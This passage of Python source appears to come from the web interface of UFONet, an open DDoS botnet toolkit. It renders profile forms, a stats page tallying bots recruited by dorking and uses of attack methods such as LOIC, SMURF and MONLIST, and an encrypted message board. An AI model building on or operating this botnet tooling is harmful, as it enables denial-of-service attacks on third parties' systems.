  325. <td> <u>NICKNAME:</u></td>
  326. <td> <input type="text" name="grid_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.grid_nick+"""'></td>
  327. </tr>
  328. <tr>
  329. <td> <u>EMAIL/URL (CONTACT):</u></td>
  330. <td> <input type="text" name="grid_contact" pattern=".{8,120}" required title="8 to 120 characters" value='"""+self.grid_contact+"""'></td>
  331. </tr>
  332. </table>
  333. <hr>
  334. <input type="hidden" name="update" value="1">
  335. <input type="submit" value="Set!" onclick="GridProfile()"></pre>
  336. </form>
  337. """ + self.pages["/footer"]
  338. def html_board_remove(self):
  339. try:
  340. with open(self.mothership_boardcfg_file, "w") as f:
  341. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  342. except:
  343. return
  344. return self.pages["/header"]+"""<script>
  345. window.setTimeout(window.close,1234)
  346. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  347. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  348. def html_grid_remove(self):
  349. try:
  350. with open(self.mothership_gridcfg_file, "w") as f:
  351. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  352. except:
  353. return
  354. return self.pages["/header"]+"""<script>
  355. window.setTimeout(window.close,1234)
  356. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  357. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  358. def html_stats(self):
  359. total_extra_attacks = int(self.aloic) + int(self.aloris) + int(self.aufosyn) + int(self.aspray) + int(self.asmurf) + int(self.axmas) + int(self.anuke) + int(self.atachyon) + int(self.amonlist)
  360. if self.ranking == "Rookie": # Rookie
  361. your_ranking = "<font color='white'>Rookie [*]</font>"
  362. elif self.ranking == "Mercenary": # Mercenary
  363. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  364. elif self.ranking == "Bandit": # Bandit
  365. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  366. elif self.ranking == "UFOmmander!": # UFOmmander!
  367. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  368. elif self.ranking == "UFOl33t!": # UFOl33t!
  369. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  370. else:
  371. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  372. return self.pages["/header"] + """<script language="javascript">
  373. function Ranking() {
  374. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  375. }
  376. function Grid() {
  377. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  378. }
  379. function Board() {
  380. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  381. }
  382. function Links() {
  383. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  384. }
  385. function Streams() {
  386. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  387. }
  388. </script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  389. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  390. <center>
  391. <table cellpadding="5" cellspacing="5"><tr>
  392. <td><a href="javascript:alert('CR1SPR-9-AI says: This is your ship, """ + self.ranking + """... Not bad, Eeeeh!?.');"><img src='data:image/png;base64,"""+self.mothership_img+"""'></a></td><td>
  393. <td>STATS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit data links..." onclick="Links()">VISIT LINKS!</button> <button title="Visit TV.streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  394. </tr></table>
  395. <table border="0" cellpadding="5" cellspacing="10"><tr><td>
  396. <table border="1" cellpadding="5" cellspacing="10"><tr>
  397. <td><b><u>General:</u></b></td></tr>
  398. <tr>
  399. <td>RANKING:</td><td align='right'>""" + str(your_ranking) + """</td></tr>
  400. <tr><td>Flying (times):</td><td align='right'><font color='red'>""" + str(self.aflying) + """</font></td></tr>
  401. </table>
  402. <br>
  403. <table border="1" cellpadding="5" cellspacing="10"><tr>
  404. <td><b><u>Missions:</u></b></td></tr>
  405. <tr>
  406. <td>Created (launched):</td><td align='right'><font color='red'>""" + str(self.amissions) + """</font></td></tr>
  407. <tr>
  408. <td>Attacks (completed):</td><td align='right'><font color='blue'>""" + str(self.acompleted) + """</font></td></tr>
  409. <tr>
  410. <td>Targets (crashed):</td><td align='right'><font color='green'>""" + str(self.tcrashed) + """</font></td></tr>
  411. <tr>
  412. <td>Crashing (T*100/A=C%):</td><td align='right'><font color='orange'>""" + str(round(self.mothership_acc, 2)) + """%</font></td></tr>
  413. </table>
  414. </td><td>
  415. <table border="1" cellpadding="5" cellspacing="10"><tr>
  416. <td><b><u>Botnet:</u></b></td></tr>
  417. <tr>
  418. <td>Total Cargo (now):</td><td align='right'><a href='javascript:runCommandX("cmd_list_army")'>"""+ self.total_botnet +"""</a></td></tr>
  419. <tr>
  420. <td>Scanner (new bots via dorking):</td>
  421. <td align='right'><font color='blue'>""" + str(self.ascanner) + """</font></td></tr>
  422. <tr>
  423. <td>Transferred (new bots via blackholes):</td>
  424. <td align='right'><font color='green'>""" + str(self.atransferred) + """</font></td></tr>
  425. <tr>
  426. <td>Max. Chargo (always): </td><td align='right'><font color='orange'>""" + str(self.amax_chargo) + """</font></td></tr>
  427. </table>
  428. <br>
  429. <table border="1" cellpadding="5" cellspacing="10"><tr>
  430. <td><b><u>Weapons (use):</u></b></td></tr>
  431. <tr>
  432. <td>LOIC:</td><td align='right'><font color='cyan'>""" + str(self.aloic) + """</font></td>
  433. <td>LORIS:</td><td align='right'><font color='cyan'>""" + str(self.aloris) + """</font></td></tr>
  434. <tr>
  435. <td>UFOSYN:</td><td align='right'><font color='cyan'>""" + str(self.aufosyn) + """</font></td>
  436. <td>SPRAY:</td><td align='right'><font color='cyan'>""" + str(self.aspray) + """</font></td></tr>
  437. <tr>
  438. <td>SMURF:</td><td align='right'><font color='cyan'>""" + str(self.asmurf) + """</font></td>
  439. <td>XMAS:</td><td align='right'><font color='cyan'>""" + str(self.axmas) + """</font></td></tr>
  440. <tr>
  441. <td>NUKE:</td><td align='right'><font color='cyan'>""" + str(self.anuke) + """</font></td>
  442. <td>TACHYON:</td><td align='right'><font color='cyan'>""" + str(self.atachyon) + """</font></td></tr>
  443. </tr>
  444. <tr>
  445. <td>MONLIST:</td><td align='right'><font color='cyan'>""" + str(self.amonlist) + """</font></td>
  446. <td>TOTAL:</td><td align='right'><font color='red'>""" + str(total_extra_attacks) +"""</font></td></tr>
  447. </tr>
  448. </table>
  449. </td></tr></table>
  450. <br><hr>
  451. <div id="cmdOut"></div>
  452. """ + self.pages["/footer"]
  453. def hmac_sha1(self, key, msg):
  454. if len(key) > 20:
  455. key = sha1(key).digest()
  456. key += chr(0).encode('utf-8') * (20 - len(key))
  457. o_key_pad = key.translate(self.trans_5C)
  458. i_key_pad = key.translate(self.trans_36)
  459. return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
  460. def derive_keys(self, key):
  461. key = key.encode('utf-8')
  462. h = sha256()
  463. h.update(key)
  464. h.update('cipher'.encode('utf-8'))
  465. cipher_key = h.digest()
  466. h = sha256()
  467. h.update(key)
  468. h.update('mac'.encode('utf-8'))
  469. mac_key = h.digest()
  470. return (cipher_key, mac_key)
  471. def decrypt(self, key, text):
  472. KEY_SIZE = 32
  473. BLOCK_SIZE = 16
  474. MAC_SIZE = 20
  475. mode = AES.MODE_CFB
  476. try:
  477. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  478. except:
  479. try:
  480. padding = len(text) % 4
  481. if padding == 1:
  482. return ''
  483. elif padding == 2:
  484. text += b'=='
  485. elif padding == 3:
  486. text += b'='
  487. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  488. except TypeError:
  489. return None
  490. iv = iv_ciphertext_mac[:BLOCK_SIZE]
  491. ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
  492. mac = iv_ciphertext_mac[-MAC_SIZE:]
  493. (cipher_key, mac_key) = self.derive_keys(key)
  494. expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
  495. if mac != expected_mac:
  496. return None
  497. aes = AES.new(cipher_key, mode, iv)
  498. self.decryptedtext = aes.decrypt(ciphertext)
  499. try:
  500. self.decryptedtext = self.decryptedtext.decode('utf-8')
  501. except:
  502. pass
  503. def encrypt(self, key, text):
  504. try:
  505. key = base64.b64encode(str(key))
  506. except:
  507. key = base64.b64encode(key.encode('utf-8'))
  508. c = Cipher(key, text)
  509. msg = c.encrypt()
  510. try:
  511. msg = msg.decode('utf-8')
  512. except:
  513. pass
  514. c.set_text(msg)
  515. self.encryptedtext = str(msg)
  516. def html_news(self):
  517. return self.pages["/header"] + """<script language="javascript">
  518. function Decrypt(){
  519. news_key=document.getElementById("news_key").value
  520. if(news_key == "") {
  521. window.alert("You need to enter a valid key (provided by someone)");
  522. return
  523. }else{
  524. params="news_key="+escape(news_key)
  525. runCommandX("cmd_decrypt",params)
  526. document.getElementById("nb1").style.display = "none";
  527. }
  528. }
  529. </script>
  530. <script language="javascript">
  531. function RefreshNews(){
  532. news_source=document.getElementById("news_source").value
  533. if(news_source == "") {
  534. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  535. return
  536. }else{
  537. params="news_source="+escape(news_source)
  538. runCommandX("cmd_refresh_news",params)
  539. document.getElementById("nb1").style.display = "none";
  540. setTimeout("location.reload()", 10000)
  541. }
  542. }
  543. </script>
  544. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  545. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  546. <br>
  547. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  548. <td>Blackhole/IP:</td>
  549. <td><input type="text" name="news_source" id="news_source" size="20" value='"""+default_blackhole+"""'></td>
  550. </tr></table></td><td><button title="Search for records on that blackhole..." onclick="RefreshNews()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search News...</button></td></tr></table>
  551. <hr>
  552. <table cellpadding="5" cellspacing="5"><tr>
  553. <td><a href="javascript:alert('Psihiz says: """ + self.ranking + """... Welcome to the Crypto-News!...');"><img src='data:image/png;base64,"""+self.alien1_img+"""'></a></td><td>
  554. <table cellpading="5" cellspacing="10"><tr><td>
  555. <form method='GET'>
  556. Your key: <input type="text" name="news_key" id="news_key" size="20" value='"""+str(self.crypto_key)+"""'>
  557. </td></tr><tr><td>
  558. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  559. </form>
  560. </td></tr></table></td></tr></table>
  561. <hr><br>
  562. </center>
  563. Last update: <font color='"""+ self.news_status_color + """'>"""+ self.news_datetime + """</font><br><br>
  564. <div id="cmdOut"></div>
  565. <div id="nb1" style="display: block;">"""+self.news_text+"""</div><br><br>
  566. """ + self.pages["/footer"]
  567. def html_missions(self):
  568. return self.pages["/header"] + """<script language="javascript">
  569. function Decrypt(){
  570. missions_key=document.getElementById("missions_key").value
  571. if(missions_key == "") {
  572. window.alert("You need to enter a valid key (provided by someone)");
  573. return
  574. }else{
  575. params="missions_key="+escape(missions_key)
  576. runCommandX("cmd_decrypt",params)
  577. document.getElementById("nb1").style.display = "none";
  578. }
  579. }
  580. </script>
  581. <script language="javascript">
  582. function RefreshMissions(){
  583. missions_source=document.getElementById("missions_source").value
  584. if(missions_source == "") {
  585. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  586. return
  587. }else{
  588. params="missions_source="+escape(missions_source)
  589. runCommandX("cmd_refresh_missions",params)
  590. document.getElementById("nb1").style.display = "none";
  591. setTimeout("location.reload()", 10000)
  592. }
  593. }
  594. </script>
  595. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  596. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  597. <br>
  598. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  599. <td>Blackhole/IP:</td>
  600. <td><input type="text" name="missions_source" id="missions_source" size="20" value='"""+default_blackhole+"""'></td>
  601. </tr></table></td><td><button title="Search for records on that blackhole..." onclick="RefreshMissions()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search missions...</button></td></tr></table>
  602. <hr>
  603. <table cellpadding="5" cellspacing="5"><tr>
  604. <td><a href="javascript:alert('Mnahät says: """ + self.ranking + """... Welcome to the Crypto-Missions!...');"><img src='data:image/png;base64,"""+self.alien2_img+"""'></a></td><td>
  605. <table cellpading="5" cellspacing="10"><tr><td>
  606. <form method='GET'>
  607. Your key: <input type="text" name="missions_key" id="missions_key" size="20" value='"""+str(self.crypto_key)+"""'>
  608. </td></tr><tr><td>
  609. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  610. </form>
  611. </td></tr></table></td></tr></table>
  612. <hr><br>
  613. </center>
  614. Last update: <font color='"""+ self.missions_status_color + """'>"""+ self.missions_datetime + """</font><br><br>
  615. <div id="cmdOut"></div>
  616. <div id="nb1" style="display: block;">"""+self.missions_text+"""</div><br><br>
  617. """ + self.pages["/footer"]
  618. def html_board(self):
  619. self.board_welcome = "<div id='board_warning' style='display: none;'><pre><u>WARNING:</u> <br><br> 1) This is our 'Space Cantina': DON'T BE A LAMER!!! <br> 2) NO language RESTRICTIONS <br> 3) ABUSING == #HACKBACK (THIS IS NOT KIND OF FAME YOU WANT)<br> 4) CONTENT can be MODIFIED/REMOVED without notice<br> 5) LOVE, DONATIONS and REPORTS -> <a href='http://127.0.0.1:9999/help' target='_blank'>HERE</a></pre></div>" # board hardcoded warning (hehe)
  620. self.board_topic = "<select id='board_selector'><option value='general'>GENERAL</option><option value='opsec'> - OPSEC: #UFOSTORM</option><option value='faq'>UFONET/FAQ</option><option value='bugs'>UFONET/BUGS</option><option value='media'>UFONET/MEDIA</option></select>"
  621. self.board_send_msg = "<button title='Send your message to the Board (REMEMBER: you will cannot remove it!)...' onclick='SendMessage()'>SEND IT!</button>"
  622. if '"profile_token": "NONE"' in open(self.mothership_boardcfg_file).read():
  623. device_state = "OFF"
  624. device = "BOARD device: <font color='red'>OFF</font><br>"
  625. else:
  626. device_state = "ON"
  627. self.moderator_text = ''.join(random.sample(self.moderator_text,len(self.moderator_text)))
  628. boardcfg_json_file = open(self.mothership_boardcfg_file, "r") # extract mothership boardcfg
  629. data = json.load(boardcfg_json_file)
  630. boardcfg_json_file.close()
  631. profile_token = data["profile_token"]
  632. profile_icon = data["profile_icon"]
  633. profile_nick = data["profile_nick"]
  634. self.profile_nick.encode('utf-8')
  635. operator_img = open("core/images/crew/"+profile_icon+".txt").read()
  636. device = "<u>OPERATOR/LINK:</u> <font color='green'>ON</font><br><table cellpadding='5'><tr><td><img src='data:image/png;base64,"+operator_img+"'></td></tr><tr><td> -NICKNAME: "+str(self.profile_nick)+"</td></tr><tr><td> -ID: "+str(profile_token)+"</td></tr></table>"
  637. if device_state == "OFF":
  638. board_filter = ""
  639. else:
  640. board_filter = "<table cellpadding='5' border='1'><tr><td><input type='radio' name='filter' id='filter_all' value='ALL' CHECKED>/ALL<br> </td><td><input type='radio' name='filter' id='filter_general' value='GENERAL'>/GENERAL</td><td><input type='radio' name='filter' id='filter_opsec' value='OPSEC'>/#OPSEC<br> </td><td><input type='radio' name='filter' id='filter_faq' value='FAQ'>/FAQ</td><td><input type='radio' name='filter' id='filter_bugs' value='BUGS'>/BUGS</td><td><input type='radio' name='filter' id='filter_media' value='MEDIA'>/MEDIA</td></tr></table>"
  641. if device_state == "OFF":
  642. sync_panel = ""
  643. else:
  644. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source' id='board_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncBoard()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><br><hr>"
  645. if device_state == "OFF":
  646. board_panel = ""
  647. else:
  648. with open(self.board_file) as f:
  649. for line in f:
  650. line = line.strip()
  651. self.board_warning += "\n" + " " + line + " " + "\n"
  652. f.close()
  653. self.moderator_text = re.sub("(.{100})", "\\1\n", self.moderator_text, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  654. l = time.ctime(os.path.getmtime(self.board_file)) # get last modified time
  655. board_panel = "<form method='GET'><table cellpadding='5'><tr><td><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td> <input type='radio' name='board_action' id='read' onclick='javascript:OptionsCheck();' CHECKED> READ<br> </td><td> <input type='radio' name='board_action' id='write' onclick='javascript:OptionsCheck();'> WRITE<br></td></tr></table></td><td> KEY: <input type='text' name='board_key' id='board_key' size='20' value='"+str(self.crypto_key)+"'> </td></tr></table></td><td><div style='display:block' id='board_read'><table cellpadding='5'><tr><td>"+board_filter+"</td></tr><tr><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_board();>Try decryption!</a></td></tr></table></div></td></tr><tr><td>"+self.board_welcome+"</td><td><div style='display:none' id='board_send'><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source_send' id='board_source_send' size='20' value='"+default_blackhole+"'></td></tr><tr><td>TOPIC:</td><td>"+self.board_topic+"</td></tr><tr><td>MESSAGE:</td><td><textarea rows='3' cols='50' name='stream_txt' id='stream_txt' maxlength='140' placeholder='Enter your message (1-140 chars)...'></textarea></td></tr><tr><td>"+self.board_send_msg+"</td></tr></table></td></tr></table></div></td></tr></table></form><br><hr><br><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"+sync_panel+"<br></div><u>CRYPTO-BOARD</u>: (Last Update: <font color='green'>"+str(l)+"</font>)<br><br><div id='cmdOut'></div><div id='nb1' style='display: block;'>"+self.moderator_text+"</div><br><br>"
  656. if device_state == "OFF":
  657. remove_profile = ""
  658. else:
  659. remove_profile = '| <button title="Syncronize data from a blackhole/board with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveProfile()">TURN OFF!</button>'
  660. return self.pages["/header"] + """<script language="javascript">
  661. function BoardProfile() {
  662. var win_board_profile = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  663. }
  664. function RemoveProfile() {
  665. var win_board_profile = window.open("board_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  666. }
  667. function Decrypt_board(){
  668. board_key=document.getElementById("board_key").value
  669. if (document.getElementById('filter_all').checked) {
  670. filter = document.getElementById('filter_all').value;
  671. }
  672. if (document.getElementById('filter_general').checked) {
  673. filter = document.getElementById('filter_general').value;
  674. }
  675. if (document.getElementById('filter_opsec').checked) {
  676. filter = document.getElementById('filter_opsec').value;
  677. }
  678. if (document.getElementById('filter_faq').checked) {
  679. filter = document.getElementById('filter_faq').value;
  680. }
  681. if (document.getElementById('filter_bugs').checked) {
  682. filter = document.getElementById('filter_bugs').value;
  683. }
  684. if (document.getElementById('filter_media').checked) {
  685. filter = document.getElementById('filter_media').value;
  686. }
  687. if(board_key == "") {
  688. window.alert("You need to enter a valid key (provided by someone)");
  689. return
  690. }else{
  691. params="board_key="+escape(board_key)+"&filter="+escape(filter)
  692. runCommandX("cmd_decrypt_moderator_board",params)
  693. document.getElementById("nb1").style.display = "none";
  694. }
  695. }
  696. function OptionsCheck() {
  697. if (document.getElementById('read').checked) {
  698. document.getElementById('board_read').style.display = 'block';
  699. document.getElementById('board_send').style.display = 'none';
  700. document.getElementById('board_warning').style.display = 'none';
  701. }
  702. else if(document.getElementById('write').checked) {
  703. document.getElementById('board_send').style.display = 'block';
  704. document.getElementById('board_warning').style.display = 'block';
  705. document.getElementById('board_read').style.display = 'none';
  706. }
  707. }
  708. function Sync_panel(){
  709. document.getElementById("sync_panel_block").style.display = "block";
  710. }
  711. function SyncBoard(){
  712. document.getElementById('nb1').style.display = 'none';
  713. board_source=document.getElementById("board_source").value
  714. if(board_source == "") {
  715. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  716. return
  717. }else{
  718. params="board_source="+escape(board_source)
  719. runCommandX("cmd_sync_board",params)
  720. setTimeout("location.reload()", 10000)
  721. }
  722. }
  723. </script>
  724. <script language="javascript">
  725. function SendMessage() {
  726. board_source=document.getElementById("board_source_send").value
  727. board_key=document.getElementById("board_key").value
  728. stream_txt=document.getElementById("stream_txt").value
  729. board_selector=document.getElementById("board_selector");
  730. board_topic = board_selector.options[board_selector.selectedIndex].value;
  731. if(board_key == "") {
  732. board_key='"""+str(self.crypto_key)+"""';
  733. }else{
  734. if(stream_txt == "") {
  735. window.alert("You need to enter a message! (~ 1-140 characters)");
  736. return
  737. }else{
  738. if(board_source == "") {
  739. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  740. return
  741. }else{
  742. params="board_source="+escape(board_source)+"&board_key="+escape(board_key)+"&board_topic="+escape(board_topic)+"&stream_txt="+escape(stream_txt)
  743. runCommandX("cmd_send_message_board",params)
  744. setTimeout("location.reload()", 10000)
  745. }
  746. }
  747. }
  748. }
  749. </script>
  750. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  751. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  752. <br>
  753. <center>
  754. <table cellpadding="5" cellspacing="5"><tr>
  755. <td><a href="javascript:alert('Riättth says: """ + self.ranking + """... Welcome to the Crypto-Board!. You can generate new identities every time that you want. But remember that, this can be a dangerous place. Just respect to others to be respected... Keep safe and enjoy it. COPYCAT!.');"><img src='data:image/png;base64,"""+self.board_img+"""'></a></td><td>
  756. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="BoardProfile()">CONFIGURE!</button> """+remove_profile+"""
  757. </td></tr></table></tr></table>
  758. <hr><br>"""+board_panel+"""
  759. """ + self.pages["/footer"]
  760. def generate_grid(self):
  761. with open(self.grid_file) as f:
  762. for line in f:
  763. line = line.strip()
  764. f.close()
  765. mothership_members = 0 # mothership_members stats bonus
  766. unknown_members = 0 # unknown (or non decrypted) mothership members
  767. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NICKNAME:</u></td><td align='center'><u>RANK:</u></td><td align='center'><u>CHARGO:</u></td><td align='center'><u>DORKING:</u></td><td align='center'><u>TRANSF:</u></td><td align='center'><u>MAX.CHARGO:</u></td><td align='center'><u>MISSIONS:</u></td><td align='center'><u>ATTACKS:</u></td><td align='center'><u>LOIC:</u></td><td align='center'><u>LORIS:</u></td><td align='center'><u>UFOSYN:</u></td><td align='center'><u>SPRAY:</u></td><td align='center'><u>SMURF:</u></td><td align='center'><u>XMAS:</u></td><td align='center'><u>NUKE:</u></td><td align='center'><u>TACHYON:</u></td><td align='center'><u>MONLIST:</u></td><td align='center'><u>CONTACT:</u></td></tr>"
  768. for m in self.list_grid: # msg = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, contact, ID
  769. if grid_msg_sep in m:
  770. version = m.count(grid_msg_sep) # check UFONet stream version (made for compatibility with old motherships)
  771. m = m.split(grid_msg_sep)
  772. mothership_members = mothership_members + 1
  773. grid_nickname = m[0][0:12]
  774. grid_nickname = ''.join(random.sample(grid_nickname,len(grid_nickname))) # nickname (obfuscation+str12)
  775. grid_ranking = m[1][0:4] # ranking (is parsed later using a symbol)
  776. grid_ranking = ''.join(random.sample(grid_ranking,len(grid_ranking))) # ranking (obfuscation)
  777. grid_totalchargo = m[2][0:4] # total chargo
  778. grid_totalchargo = ''.join(random.sample(grid_totalchargo,len(grid_totalchargo))) # totalchargo (obfuscation)
  779. grid_dorking = m[3][0:4] # dorking
  780. grid_dorking = ''.join(random.sample(grid_dorking,len(grid_dorking))) # dorking (obfuscation)
  781. grid_transferred = m[4][0:4] # transferred
  782. grid_transferred = ''.join(random.sample(grid_transferred,len(grid_transferred))) # transferred (obfuscation)
  783. grid_maxchargo = m[5][0:4] # maxchargo
  784. grid_maxchargo = ''.join(random.sample(grid_maxchargo,len(grid_maxchargo))) # maxchargo (obfuscation)
  785. grid_missions = m[6][0:4] # missions
  786. grid_missions = ''.join(random.sample(grid_missions,len(grid_missions))) # missions (obfuscation)
  787. grid_attacks = m[7][0:4] # attacks
  788. grid_attacks = ''.join(random.sample(grid_attacks,len(grid_attacks))) # attacks (obfuscation)
  789. grid_loic = m[8][0:4] # loic
  790. grid_loic = ''.join(random.sample(grid_loic,len(grid_loic))) # loic (obfuscation)
  791. if version > 17: # v1.4
  792. grid_loris = m[9][0:4] # loris
  793. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  794. grid_ufosyn = m[10][0:4] # ufosyn
  795. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  796. grid_spray = m[11][0:4] # spray
  797. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  798. grid_smurf = m[12][0:4] # smurf
  799. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  800. grid_xmas = m[13][0:4] # xmas
  801. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  802. grid_nuke = m[14][0:4] # nuke
  803. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  804. grid_tachyon = m[15][0:4] # tachyon
  805. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  806. grid_monlist = m[16][0:4] # monlist
  807. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  808. try:
  809. grid_contact = "<a href=javascript:alert('"+str(m[17][0:12])+"');>View</a>" # js contact view (obfuscation)
  810. except:
  811. grid_contact= "invalid"
  812. try:
  813. grid_id = m[18] # id (plain id)
  814. except:
  815. grid_id = "invalid!"
  816. if version == 17: # v1.3
  817. grid_loris = m[9][0:4] # loris
  818. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  819. grid_ufosyn = m[10][0:4] # ufosyn
  820. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  821. grid_spray = m[11][0:4] # spray
  822. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  823. grid_smurf = m[12][0:4] # smurf
  824. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  825. grid_xmas = m[13][0:4] # xmas
  826. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  827. grid_nuke = m[14][0:4] # nuke
  828. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  829. grid_tachyon = m[15][0:4] # tachyon
  830. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  831. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  832. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  833. try:
  834. grid_contact = "<a href=javascript:alert('"+str(m[16][0:12])+"');>View</a>" # js contact view (obfuscation)
  835. except:
  836. grid_contact= "invalid"
  837. try:
  838. grid_id = m[17] # id (plain id)
  839. except:
  840. grid_id = "invalid!"
  841. elif version == 16: # v1.2.1
  842. grid_loris = m[9][0:4] # loris
  843. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  844. grid_ufosyn = m[10][0:4] # ufosyn
  845. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  846. grid_spray = m[11][0:4] # spray
